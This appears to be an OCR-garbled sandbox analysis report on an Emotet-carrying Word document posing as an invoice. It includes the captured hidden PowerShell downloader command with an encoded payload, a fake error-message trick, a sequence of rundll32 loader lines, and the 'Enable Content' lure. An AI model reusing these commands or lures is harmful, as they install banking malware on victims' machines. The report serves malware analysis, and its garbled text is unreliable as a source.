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Analysis Report Invoice 6682363.doc
Overview

General Information Detection Classification

Sample Invoice 6682363.doc
Name: MALICIOUS

Analysis ID: 343627

Antivirus detection for URL or domain

Multi AV Scanner detection for doma...

MD5: . .
2f788f4b380f7a0... Multi AV Scanner detection for dropp...
SHA1L:
b210ad5140fbd4d. Multi AV Scanner detection for subm...
SHAZ256: 71952¢503a38db..

Office document tries to convince Vvi...
Most interesting Screenshot:

Snort IDS alert for network traffic (e....

System process connects to networ...

] Office 365 Yara detected Emotet

Creates processes via WMI

Score: 100 Document contains an embedded VB...
Range: 0-100 Document contains an embedded VB...
Whitelisted: false

) Document contains an embedded VB...
Confidence: 100%

w
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Startup

= System is w7x64
. WINWORD.EXE (PID: 1552 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2376 cmdline: cmd cmd /c m"s”g %username% /v Wo"rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs"heMI" -w hi*dd”en -"e”nc cWBFAFQ
ALQBpAFQAZQBIACAAIAB2AEEAUYBIAEEAQYBSAGUAOJAOAFAAdQBXACAAIAACAFSAVABSAHAARQBIACYAIgB7ADAATQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAFQAIACAAL
QBMACAAIWBTACCALAANAHIAZQBJAHQAIJWASACCAWQBZzAFQAIWASACCAbWBYAHKAIWASACCAZQBIAC4AaQBVACAAZABPACCAKQAPACAAIAATACAAIABZAEUAV
AAtAGKAJABIAEOAIAB2AGEACgBpPAEEAQYBSAGUAOgAZAFCAdgAgACAAKAAGAFSAJABZAFAAZQBIACGAIgB7ADQAFQB7ADIAfQB7ADUAIQB7ADEAfQB7ADAATQB7ADCAIQB
7ADMAFQB7ADYAFQAIACOARGAJACCAVIBPAGMAIWASACCAUWBIAFIAJIWASACCAVABFAEOAIWASACCAQQANACWAIWBTAHKACWANACWAIWAUAGAAZQBOACAAIWASACCAbgBhA
GCcAZQBYACCALAANAGUACABPAEKAbgBUAGOAIWAPACAAKQAGADSAJABYAGWAegBpAGBAOQBIADOAIJABQADIANQBSACAAKWAGAFSAYWBOAGEAcgBAACgJAMWAZA
CKAIAArACAAJABRADYAOABJADSAJABMADIAOQBIADOAKAAOACCASWANACSAIWAWADCAIWAPACSAIWBAACCAKQA7TACAAKAAGAFYAYQBYAGKAQQBIAEWAZQAGA
CAANABQAFUAdWAJACAALQBWAGEABABVAGUAbWBOAGWAIAAGACKAOgABACIAQWBJAFIARQBhAHQAZQBEAGKACgBFAGMAJABPAGAAUGB5ACIAKAAKAEgATWBNA
EUAIAArACAAKAA0ACYAIWBIAHEAIWArACCAMYBOAGQAIWAPACSAIWBJAHOAIWAIACGAIWBXACCAKWANAHKAY gB1ACCAKQArACgAIWBXACCAKWANADIASAANACSAIWBhAGY
AMABFAHKAbgANACKAKWAOACCAdQBXACCAKWANADIAIWAPACKAIAAAHIARQBWAGWAY QBDAGUAKAANAHUAIWAIACCACQAYACCAKQASAFSAQWBOAEEAUgBAADK
AMgAPACKAOWAKAEOANWAZAFKAPQAOACGAIWBLACCAKWANADQANGANACKAKWANAFY AJWAPADSAIAA0ACAASQBUAEUABQAJACAAVIBhAFIAaQBBAGIAbABIADO
AMWBXAHYAKQAUAFYAQQBMAFUAZQABADOAIgBTAGAAZQBDAGAAVQBSAEKAYABUAHKACABYAGBAVABPAGMATWBMACIAIAAIACAAKAANAFQABAANACSAKAANAHM
AMQANACSAIWAYACCAKQAPADSAJABFADMAXwWBPADOAKAAOACCAUGANACSAIWA3ADCAIWAPACSAIWBBACCAKQA7ACQASQBMAHCACWAYAHEAaQAgADOAIAAOACE
AUAAOACCAKWANADQARWANACKAOWAKAFgAMWAXAEOAPQAOACCAQYANACSAKAANADUAIWATACCAOABSACCAKQAPADSAJABSAHOADQBUAHAACQBzADOAJABIAES
ATQBFACSAKAAOACCAeWANACSAIWAWAHOATYBKAGMAegBXxACCAKWANAHKAY gB7ADAAFQBIACCAKWAOACCAY QANACSAIWBMADAAIWAPACSAIWBfAHKAbgB7ACC
AKWANADAAIWArACCAFQANACKAIAAGACOARGAJGAFSAQWBOAGEAUgBAADKAMYAPACSAJABIAGYAdwBzADIACQBPACSAIWAUAGQAIWAJACSAIAANAGWADAANADS
AJABCADYANQBBADOAKAANAEgAIWArACGAIWBFACCAKWANADAAWAANACKAKQA7ACQAUABGAHAAeABOADAADgAIACCAaAANACAAKWAGACCAdABOACCAIAATACA
AIWBWACCAOWAKAEWANQBIAHIAZAB3AGYAPQA0ACJAIWBAACCAKWANACAAWWAJAHMAAAAGACCAKWANAGIAOgANACKAKWANACBALWANACSAIWBLACCAKWANAGK
AIWArACcAYwBYACCAKWANAGBAJIWArACcAbgBIACCAKWANAHCACWANACSAIWAUACCAKWANAGUAIWArACgAIJWB1ACBAIJWArACCAYWANACSAIJWBYAGEAbgBrAHMAaAANACKAK
WANAGEAZgANACSAKAANAHQALQANACSAIWBWAHUADABSAGUAeQANACSAIWAIAGKANQBhACCAKWANAGKABWAVAFQABABWACBAIJWAPACSAIWAhAHGAIWATACGAJ
WAQAFsAIABzZACCAKWANAGAIAANACKAKWANAGIAIJWArACcAOgANACSAIWAVACCAKWAOACCALWBVACCAKWANAGYAZQANACKAKWAOACCACgBOACOAIWATACCAYQANACSAIWB
SAC4AYWANACKAKWANAGBAbQANACSAIWAVACCAKWANAHCACAANACSAIWATAGMAIWArACgAIWBVAGAAdABIAGAAdAANACSAIWAVACCAKWANAHQAIWATACCAOQBOAFYAJWAPA
CsAJWBWAGKAIWArACCAQGANACSAKAANAGQAZQAVACEAIWAIrACCAeAAGAFSAIWAPACSAIWAGAHMAIWATACgAIWBOACAAY gAGACBALWANACSAIWBOAHIAIWATA
CcAYQANACSAIWBUAHMAY QBSACCAKQArACgAIWAUACCAKWANAGUAdQAVACCAKQArACCAbgBIACCAKWAOACCAdABNACCAKWANAGUAY QBYACCAKQATACgAIWALA
HcAaQANACSAIWBMACCAKQArACgAIWBpACOACQANACSAIWBEAHY AdgANACKAKWAOACCANAAVADEAagA3ACCAKWANAFGAIWAPACSAKAANAFOAIWATACCALWAhAHGAIAANACK
AKWANAFsAJWArACgAJWAgACCAKWANAHMAJIWArACcAaAAgAGIAOgAVACCAKWANACBAZQAIACCAKQATrACgAIWB3AGQAZQANACSAIWBZACCAKWANAGKAZWBUACA
AZQANACsAIWB1ACBAdWANACKAKWAOACCAbWBVACCAKWANAGQALQANACSAIWBZAHQAbBWB2ACCAKQATrACCAZQAIACCAKWAOACCAeAA3ACCAKWANAGKAdWB3ACS
AUgANACsAIJWAXAFMATQBzADEAdgAVACCAKQArACcAIQB4ACCAKWAOACCAIAANACSAIWBbACAACWANACKAKWAOACCAaAANACSAIWAGAGIAIWAPACSAIWABACCAKWAOACCAL
WAVACCAKWANAHIAIJWAPACSAKAANAGUADBAANACSAIWBhAHQAZQBKACCAKWANAGCcAcgBVAHUAIJWAPACSAIWBWAHQAJWArACCAZQANACSAIWBzACCAKWAOACCAd
AAUAGMAJIWArACCcAbWBtACCAKQArACgAIWAVACCAKWANAEBAdQANACKAKWANAHIAJWAIACgAIWBUAGKAIWArACCAbQBIACBAYWB1AGWAZQANACSAJWBUAEYAJ
WApPACSAKAANAGEAIWArACCAMWB2ACCAKQATrACCcALWANACSAKAANACEAIJWArACcAeAAgAFSAIAANACKAKWAOACCACWBOACAAYgBzACCAKWANADOAIWAPACSAIWAVACCAKWA
0ACCcALWB3AHCAIWArACcAdWAUAHMAIWAPACSAKAANAGMAaAANACSAIWBIACCAKQArACgAIWB1AGMAawBmMAGUAJWArACCAZABIAHIAJWArACcAbgANnACKAKWAOACCALgBpA
CcAKWANAGAAIWAPACSAIWBMACCAKWANAGBAIWATACgAIWAVACCAKWANAHIAZQBMAGUAJWAIrACCAcgANACKAKWANAGUAbgANACSAKAANAGMAZQANACSAIWAVA
DAASAANACKAKWAOACCABABCAEIAIWATACCAZWANACKAKWANADGAIWArACCALWANACKALGAIAHIAZQBWAGAATABhAEMAZQAIACJAKAAOACCAEAAGAFSAIWATACCAIAANACK
AKWAO0ACCcAcwWBOACCAKWANACAAIWAPACSAIWBIACCAKQASACgAWWBhAHIAcgBhAHKAXQAOACCcAbgBgACCALAANAHQACGANACKALAANAHKAagANACWAIWBZAGM
AIWASACQAUABBAHAAeABOADAAbgASACCAdWBKACCAKQBDADMAXQAPACAAIGBTAFAAYABSAGKAJAAIACGAJABFADIAMWBSACAAKWAGACQAWABSAHoAaQBVADK
AagAgACSAIAAKAFYANAA2AEIAKQA7TACQAQQAZAFBAVAAIACYAIWBEACCAKWAOACCANAANACSAIWAYAEIAIJWAPACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAFA
ANgBtADAAbQBXAGOAIABpAGAAIAAKAEWANQBIAHIAZAB3AGYAKQB7AHQACYB5AHSAKAAUACGAIWBOAGUAIWAIrACCAdWALAEBAY gBgACCAKWANAGUAYWBOACC
AKQAgAFMAWQBzAFQARQBACAATYBFAHQALYB3AEUAQYBJAEWAaQBIAGAAdAAPACAAIgBKAGAABWBXAGAATYBMAESAQQBJAEQAZGBIAGWARQAIACJAJABQADY
AbQAWAGOACQBGACWAIAAKAFIAegBtAGAACABXAHMAKQA7ACQAVAA3ADMAVAAIACIAKAANAEUAMIANACSAIWASACCAKQAIACCASJANACKAOWBIAGYAIAAOACY
AJGAOACCARWANACSAIWBIAHQALQBIAHQAIWArACCAZQBIACCAKQAJACQAUYBBAGOAbgBWAHEACWAPACAAIgBSAGUAYABOAGCAVABOACIAIAAIAGCAZQAGADQ
AMgAXADMAMgAPACAAewAMACgAIWBYAHUAIWArACCcAbgBKACCAKWANAGWADAAZADIAJWAPACAAJABSAHOADQBUAHAACQBZACWAKAAOACCAQQANACSAIWBUAHK
AIWAPACSAKAANAFMAABYAGKAJWArACCABgANACKAKWANAGCAIWAPACAAIgBUAGAAbWBZAHQAUGBJAEKAbgBNACIAKAAPADSAJABMADUAMWBBADOAKAANAEIAJWArACgA]
WAOACCAKWANADUAWQANACKAKQA7AGIACgBIAGEAawA7ACQAWAA3ADCAVAAIACIAIWBPADGAIWArACCANABNACCAKQBIAHOAYWBhAHQAYWBOAHSAFQBOACQAV
WAWADYARWA9ACGAKAANAFKAIWArACCANQAXACCAKQArACCAVQANACKA MD5: 5746BD7E255DD6ABAFA06F7C42C1BA4L)

e [ msg.exe (PID: 2576 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
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e 3 powershell.exe (PID: 2488 cmdline: powershell -w hidden -enc cWBFAFQALQBpAFQAZQBIACAAIAB2AEEAUgBIAEEAQYBSAGUAOgAOAFAAJQBXACAAIAA0
AFsAVAB5AHAARQBAACQAIgB7ADAATQB7ADIAfQB7ADQAFQB7ADEATQB7ADMAFQAIACAALQBMACAAIWBTACCALAANAHIAZQBJAHQAIWASACCAWQBZAFQAIWAS
ACcAbwBYAHKAJWASACCAZQBIAC4AaQBVACAAZABPACCAKQAPACAAIAATACAAIABZAEUAVAAIAGKAJABIAEOAIAB2AGEACYBPAEEAQYBSAGUAOgAZAFCAdgAg
ACAAKAAGAFSAJABZAFAAZQBAACgAIgB7ADQATQB7ADIAfQB7ADUAQB7ADEAfQB7ADAATQB7ADCAfQB7ADMAIQB7ADYAfQAIACOARgAGACCAVYBPAGMAJIWAS
ACCAUWBIAFIAJWASACCAVABFAEOAIJWASACCAQQANACWAIWBTAHKACWANACWAIWAUAGAAZQBOACAAIWASACCAbgBhAGCAZQBYACCALAANAGUACABPAEKAbgBU
AGOAIWAPACAAKQAGADSAIJABYAGWAegBpAGBAOQBJADOAIJABQADJANQBSACAAKWAGAFSAYWBOAGEAcgBAACJAMWAZACKAIAATACAAIJABRADYAOABJADSAJABM
ADIAOQBIADOAKAAOACCASWANACSAIWAWADCAIWAPACSAIWBaACCAKQA7ACAAKAAGAFYAY QBYAGKAQQBIAEWAZQAJACAANABQAFUAJWAJACAALQBWAGEADABY
AGUAbWBOAGWAIAAgACKAOgABACIAQWBYAFIARQBhAHQAZQBEAGKACgBFAGMAJABPAGAAUgB5ACIAKAAKAEGATWBNAEUAIAATACAAKAAOACYAIWBIAHEAIWArT
ACCcAMgBOAGQAIWAPACSAIWBJAHOAIWArACGAIWBXACCAKWANAHKAYgB1ACCAKQArACgAIWBXACCAKWANADIASAANACSAIWBhAGYAMABFAHKAbgANACKAKWAO
ACCcAdQBXACCAKWANADIAIWAPACKAIAAtAHIARQBWAGWAY QBDAGUAKAANAHUAIWAIACCACQAYACCAKQASAFSAQWBOAEEAUgBAADKAMgAPACKAOWAKAEOANWAZ
AFKAPQA0ACJAIWBLACCAKWANADQANGANACKAKWANAFYAJWAPADSAIAACACAASQBUAEUADQAGACAAVYBhAFIAaQBBAGIAbABIADOAMWBXAHYAKQAUAFYAQQBM
AFUAZQABADOAIgBTAGAAZQBDAGAAVQBSAEKAYABUAHKACABYAGBAVABPAGMATWBMACIAIAASACAAKAANAFQABAANACSAKAANAHMAMQANACSAIJWAYACCAKQAP
ADsSAJABFADMAXwWBPADOAKAA0ACCAUgANACSAIWA3ADCAIWAPACSAIWBBACCAKQA7ACQASQBMAHCACWAYAHEAaQAJADOAIAAOACCAUAAOACCAKWANADQARWAN
ACKAOWAKAFgAMWAXAEOAPQA0ACCAQJANACSAKAANADUAIWATACCAOABSACCAKQAPADSAJABSAHOADQBUAHAACQBZADOAJABIAEBATQBFACSAKAAOACCAeWAN
ACsAIJWAWAHOATgBKAGMAegBXxACCAKWANAHKAYgB7ADAAFQBIACCAKWAOACCAY QANACSAIWBMADAAIWAPACSAIWBFAHKAbgB7ACCAKWANADAAIWAIACCAFQAN
ACKAIAAGACOARGAgAFSAQWBOAGEAUgBAADKAMYAPACSAJABIAGYAdwBzADIACQBPACSAIWAUAGQAIWAJACSAIAANAGWADAANADSAJABCADYANQBBADOAKAAN
AEgAIWArACgAIWBFACCAKWANADAAWAANACKAKQA7ACQAUABBEAHAAeABOADAABgAIACCAAAANACAAKWAJACCAJABOACCAIAATACAAIWBWACCAOWAKAEWANQBI
AHIAZAB3AGYAPQA0ACGAIWBAACCAKWANACAAWWAGAHMAAAAGACCAKWANAGIAOGANACKAKWANACBALWANACSAIWBIACCAKWANAGKAJWArACCAYWBYACCAKWAN
AGBAJWArACcAbgBIACCAKWANAHCACWANACSAIWAUACCAKWANAGUAIWArACgAIWB1ACBAIWArACCAYWANACSAIWBYAGEAbgBrAHMAaAANACKAKWANAGEAZgAN
ACSAKAANAHQALQANACSAIWBWAHUAbABSAGUAeQANACSAIWAtAGKANQBhACCAKWANAGKAbWAVAFQABABWACBAIJWAPACSAIWAhAHGAIWArACgAIWAGAFSAIABZ
ACCcAKWANAGQAIAANACKAKWANAGIAIWArACCAOgANACSAIWAVACCAKWAOACCALWBVACCAKWANAGYAZQANACKAKWAOACCACGBOACOAIWAIACCAY QANACSAIWBS
AC4AYWANACKAKWANAG8AbQANACSAIWAVACCAKWANAHCACAANACSAIWAIAGMAIWArACgAIWBVAGAAdABIAGAAdAANACSAIWAVACCAKWANAHQAJIWAIACCAOQBO

AFYAIWAPACSAIWBWAGKAIWArACCAQUANACSAKAANAGQAZQAVACEAIWArACCAeAAGAFSAIWAPACSAIWAGAHMAIWArACgAIWBOACAAYJABACBALWANACSAIWBO
AHIAJWArACCAY QANACSAIWBUAHMAY QBSACCAKQArACGAIWAUACCAKWANAGUAJQAVACCAKQArACCAbgBIACCAKWAOACCAdABNACCAKWANAGUAY QBYACCAKQAr
ACgAIWAtAHCAaQANACSAIWBMACCAKQArACgAIWBpACOACQANACSAIWBBAHYAdgANACKAKWAOACCANAAVADEAagA3ACCAKWANAFgAIWAPACSAKAANAFOAIWAST
ACCcALWAhAHGAIAANACKAKWANAFSAIJWArACgAIWAGACCAKWANAHMAIWAIACCAaAAJAGIAOgAVACCAKWANACBAZQAIACCAKQAIACJAIWB3AGQAZQANACSAIWBZ
ACCAKWANAGKAZWBUAC4AZQANACSAIWB1ACBAIWANACKAKWAOACCAbWBVACCAKWANAGQALQANACSAIWBZAHQAbWB2ACCAKQAIrACCAZQAIACCAKWAOACCAEAA3
ACCcAKWANAGKAdwWB3AC8AUgANACSAIJWAXAFMATQBzADEAdgAVACCAKQAIrACCAIQBA4ACCAKWAOACCAIAANACSAIWBDACAACWANACKAKWAOACCAaAANACSAIWAY
AGIAIJWAPACSAIWABACCAKWAOACCALWAVACCAKWANAHIAJWAPACSAKAANAGUABAANACSAIWBhAHQAZQBKACCAKWANAGCcACgBVAHUAIWAPACSAIWBWAHQAJIWAT
ACCcAZQANACSAIWBzACCAKWAOACCAJAAUAGMAIWAIrACCAbwBtACCAKQArACgAIWAVACCAKWANAEBAdQANACKAKWANAHIAIWArACgAIWBUAGKAJWAIACCAbQBI
ACBAYWB1AGWAZQANACSAIWBUAEYAIWAPACSAKAANAGEAIWArACCAMWB2ACCAKQATrACCALWANACSAKAANACEAIWArACcAeAAgAFSAIAANACKAKWAOACCAcwWBO
ACAAYgBzACcAKWANADOAIWAPACSAIWAVACCAKWAOACCALWB3AHCAIWArACCAdWAUAHMAIWAPACSAKAANAGMAaAANACSAIWBIACCAKQArACgAIJWBIAGMAawBm
AGUAJIWArACcAZABIAHIAIJWArACcAbgANACKAKWAOACCALGBPACCAKWANAGAAIWAPACSAIWBMACCAKWANAGBAIWArACgAIJWAVACCAKWANAHIAZQBMAGUAJIWAT
ACcAcgAnACKAKWANAGUAbgANACSAKAANAGMAZQANACSAJWAVADAASAANACKAKWAOACCAPABCAEIAIJWArACCAZWANACKAKWANADgAIJWAIACCALWANACKALgAI
AHIAZQBWAGAATABhAEMAZQAIACJAKAAOACCAAAGAFSAIWAIACCAIAANACKAKWAOACCACWBOACCAKWANACAAIWAPACSAIWBIACCAKQASACgAWWBhAHIACgBh
AHKAXQAO0ACCAbgBJACCALAANAHQACJANACKALAANAHKAagANACWAIWBZAGMAIWASACQAUABBAHAAeABOADAABgASACCAdWBKACCAKQBBADMAXQAPACAAIgGBT
AFAAYABSAGKAdAAIACJAJABFADIAMWBSACAAKWAJACQAWABsAH0AaQBVADKAagAgACSAIAAKAFYANAA2AEIAKQA7ACQAQQAZAFBAVAAIACYAIWBEACCAKWAO
ACCANAANACSAIWAYAEIAIWAPACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAFAANGBIADAADBQBXAGOAIABPAGAAIAAKAEWANQBIAHIAZAB3AGYAKQB7AHQACYB5S
AHSAKAAUACAIWBOAGUAIWArACCAdWALAEBAY gBJACCAKWANAGUAYWBOACCAKQAgGAFMAWQBZAFQARQBIAC4ATYBFAHQALYB3AEUAQYBJAEWAaQBIAGAAdAAD
AC4AIgBKAGAAbWBXAGAATYBMAEBAQQBJAEQAZGBIAGWARQAIACJAIJABQADYAbQAWAGOACQBGACWAIAAKAFIAegBtAGAACABXAHMAKQA7ACQAVAA3ADMAVAA9
ACgAKAANAEUAMgANACSAIWA3ZACCAKQAIACCASJANACKAOWBIAG YAIAAOACYAIGAOACCARWANACSAIWBIAHQALQBJIAHQAJIWAIACCAZQBIACCAKQAGACQAUYB6
AGOAbgBWAHEACWAPAC4AIgBSAGUAYABOAGCAVABOACIAIAAtAG CAZQAJADQAMIAXADMAMGAPACAAeWAMACIAIWBYAHUAIWAIACCAbgBKACCAKWANAGWADAAZ
ADIAJWAPACAAJABSAHOABQBUAHAACQBZACWAKAAOACCAQQANACSAIWBUAHKAIWAPACSAKAANAFMAJABYAGKAJWArACCAbgANACKAKWANAGCAIJWAPACAAIgBU
AGAAbwBzAHQAUgBJAEKAbgBNACIAKAAPADSAJABMADUAMWBBADOAKAANAEIAIWAIACGAIWAOACCAKWANADUAWQANACKAKQAT7AGIACBIAGEAaWA7TACQAWAA3
ADCAVAAIACGAIWBPADGAIWArACCANABNACCAKQBIAHOAYWBhAHQAYWBOAHSATQBIACQAVWAWADYARWAIACIAKAANAFKAIWATACCANQAXACCAKQArACCAVQANACKA
MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 960 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dIl AnyString MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2884 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ndczqyb\Haf0_yn\P44G.dll AnyString MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 440 cmdline: C:\Windows\SysWOW&64\rundll32.exe 'C:\Users\user\Ndczqyb\Haf0_yn\P44G.dlII'#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 912 cmdline: C:\Windows\SysWOW&64\rundll32.exe 'C:\Windows\SysWOW64\Wkjjpdgip\vecwkqgdb.lyo',YWTgmybfjbBtvDQ MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2976 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\WKkjjpdgip\vecwkqdb.lyo',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2432 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Ivhpdalyytfvzo\hoseqdxogcmer.kuc',ItLugJX MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1976 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Ivhpdalyytfvzo\hoseqdxoqcmer.kuc',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2828 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbglw.ztp',|IJPmPuzefT MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3044 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbglw.ztp',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3060 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicveyvx
pinr.seu’,PUIhDyBaYh MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1204 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicvcyvx
pinr.seu',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2124 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Pkxqfgnqg\heuras
gx.kyn', MWkJIrCwEVgm MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2276 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Pkxqfgnqgg\heuras
gx.kyn',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet
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{
"RSA Public Key":

"MHWWDQYIKoZ ThvcNAQEBBQADawAwaA JhAM/ TXLL vX9116dVMYe+T1PPO6mpcg 707\ ncM190/g4nUhZOp8fAAmQLEXMXeGvDhZXTyX1AXf401iPFuiORB6gLh1/7/djvi 7| n1321AhyBANDKGty8Xf3I5kGwwC LnG/ CXHQIDAQAB"

}

Yara Overview

Memory Dumps

Source

00000007.00000002.2108297042.0000000010000000.0000
0040.00000001.sdmp

0000000D.00000002.2176998214.0000000010000000.0000
0040.00000001.sdmp

0000000C.00000002.2163049071.00000000001C0000.0000
0040.00000001.sdmp

0000000C.00000002.2163022289.00000000001A0000.0000
0040.00000001.sdmp

00000010.00000002.2207154366.0000000010000000.0000
0040.00000001.sdmp

Unpacked PEs

Source

13.2.rundlI32.exe.10000000.2.unpack
12.2.rundll32.exe.10000000.3.raw.unpack
8.2.rundll32.exe.10000000.3.unpack
15.2.rundlI32.exe.190000.0.raw.unpack

7.2.rundll32.exe.10000000.2.unpack

Sigma Overview

System Summary:

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Click to see the 31 entries

Description Author Strings
Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security
Emotet

Yara detected Joe Security

JoeSecurity_Emotet

Emotet

Click to see the 67 entries

Signature Overview

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information
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@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

Networking:

1)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

=

Yara detected Emotet

System Summary:

=

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

Persistence and Installation Behavior:

]

J

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

= “

Stealing of Sensitive Information:
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Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted E
Accounts Management Interception  Injection Credential  Discovery Services Collected  Over Other Channel In
Instrumentation Dumping Data Network N
Medium [}
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool E
Accounts Scripting Logon Initialization Evasion Memory Evasion Desktop Removable Over Transfer R
Interpreter Initialization  Scripts Protocol Media Bluetooth C
Scripts
Domain Scripting Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Non- E
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration  Application T
Manager Shared Layer L«
Drive Protocol
Local Exploitation for Client Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Application S
Accounts Execution (Mac) (Mac) Injection Discovery Component Capture Transfer Layer S
Object Model Protocol
Cloud PowerShell Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Fallback M
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels D
Size Limits [}
Replication Launchd Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration Multiband Ji
Through Domain Discovery Capture Over C2 Communication D
Removable Credentials Channel S
Media
External Scheduled Task Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration = Commonly R
Remote Items Directories Remote Capture Over Used Port A
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Obfuscated Files or Proc Network Service Shared Credential Exfiltration Application D
Compromise Scripting Interpreter  Task/Job Task/Job Information Filesystem Scanning Webroot API| Over Layer Protocol In
Hooking Symmetric P
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) Rundll32 letc/passwd System Network Software Data Exfiltration Web Protocols R
Public- and Connections Deployment  Staged Over B
Facing letc/shadow Discovery Tools Asymmetric
Application Encrypted
Non-C2
Protocol

Behavior Graph
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Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

e

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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W d9- vl Invoice 6682363 [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings

= A x| As @ | : S % @4 Find ~
Ba Copy 4 = =z aasbceDe AaBbcede AaBb( AaBbC AaBb( AaBbcel #_ Replace
Past 3 b, £ig 1 Norr 1T He I eading eading 2 e f e Chi

e romatpainter | B 4 U 7 abe %, X @ A Normal TNoSpaci. Headingl —Heading 2 Title subtitle Chance [ e

Clipboard 5| Font Styles

== K cut

Editing |

] Office 365

You are attempting to open a file that was created in an earlier version of Microsoft Office.

If the file opens in Protected View, click Enable Editing, and then click Enable Content.

Page:1 of1 | Words: 8,482 | & ‘

8:22 AM
1/25/2021

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Detection Scanner Label Link Download

<)
c
H
)
o
S
Q
@
=
s
o
S,
5
N
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https://www.virustotal.com/gui/file/71952c503a38dbbefa7069548e7466de0fef1f5d95d5eade8abcdf5fb62037c7/detection/f-71952c503a38dbbefa7069548e7466de0fef1f5d95d5eade8abcdf5fb62037c7-1611446755
https://www.metadefender.com/#!/results/file/bzIxMDEyNFVpRUNJaTR0dExhanNSUDNyZ2s/regular/analysis
